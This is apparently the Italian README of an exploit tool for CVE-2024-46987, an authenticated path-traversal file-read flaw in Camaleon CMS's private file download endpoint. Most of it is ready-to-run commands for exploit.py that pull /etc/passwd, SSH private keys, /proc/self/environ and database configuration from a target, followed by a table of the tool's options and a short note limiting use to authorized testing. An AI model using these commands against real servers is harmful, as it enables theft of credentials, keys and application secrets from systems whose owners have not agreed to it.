
CVE-2024-46987 - Camaleon CMS LFI Exploit
Exploit di Inclusione Locale di File (LFI) autenticato per Camaleon CMS.
Camaleon CMS è vulnerabile a un attacco LFI autenticato attraverso l'endpoint /admin/media/download_private_file. Il parametro file non è adeguatamente sanitizzato, consentendo il path traversal per leggere file arbitrari dal server.
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Usalo solo su sistemi per i quali hai esplicita autorizzazione.
| Parametro | Descrizione |
|---|
-u, --url | URL di destinazione |
-f, --file | File da leggere (es. /etc/passwd) |
-t, --token | Valore del cookie auth_token |
-o, --output | Nome del file di output (opzionale, stampa a terminale se non impostato) |